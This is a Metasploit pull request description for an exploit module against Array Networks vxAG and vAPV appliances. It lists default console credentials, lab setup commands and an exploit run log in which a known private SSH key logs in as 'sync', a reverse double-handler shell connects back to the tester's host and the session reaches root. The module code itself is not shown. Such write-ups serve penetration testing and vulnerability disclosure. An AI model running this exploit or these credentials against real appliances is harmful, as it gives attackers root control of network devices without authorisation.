rapid7/metasploit-framework — pull request #3106 by xistence (2014-03-17 07:12:39+00:00)
Title: Array Networks vxAG and vAPV SSH key and privesc

The following abuses a known private SSH key or default login/password and escalates privileges to root in Array Networks vAPV 8.3.2.17 & vxAG 9.2.0.34

vxAG download: https://ftf-280.yousendit.com/download/1/F76F70BA550F6470/c844b3c8048dba966d361b8395bfa2c048e0a0d9/vxAG_VMWare_9_2_0_34_RevC.tar?download_id=4736357864&user_locale=en&id=2010632268&ufid=F76F70BA550F6470&file=vxAG_VMWare_9_2_0_34_RevC.tar

vAPV download: https://ftf-287.yousendit.com/download/1/9C907D135040E240/44fb1f4b85b2a216caed830fd5471d59ee054c11/vAPV_VMWare_8_3_2_17_RevC.ova?download_id=4736358294&user_locale=en&id=2010633430&ufid=9C907D135040E240&file=vAPV_VMWare_8_3_2_17_RevC.ova

Deploy on a virtualization platform (tested on ESXi 5.1)

Login on console with login "array" and password "admin"
enable (no password)
config terminal
# Set the management IP
ip address port1 192.168.2.53 255.255.255.0
write memory

Run the exploit :)

msf exploit(array_vxag_vapv_privkey_privesc) > set RHOST 192.168.2.146
RHOST => 192.168.2.146
msf exploit(array_vxag_vapv_privkey_privesc) > exploit

[*] 192.168.2.146:22 - Attempt to login with 'sync:SSH PRIVATE KEY'
[*] Started reverse double handler
[+] 192.168.2.146:22 - Login Successful with 'sync:SSH PRIVATE KEY'
[*] 192.168.2.146:22 - Sending and executing payload to gain root privileges!
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo t7okQcBlqr9bZrGB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "t7okQcBlqr9bZrGB\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.2.22:4444 -> 192.168.2.146:2948) at 2014-03-14 15:33:16 +0700

id
uid=1005(sync) gid=0(wheel) euid=0(root) groups=0(wheel)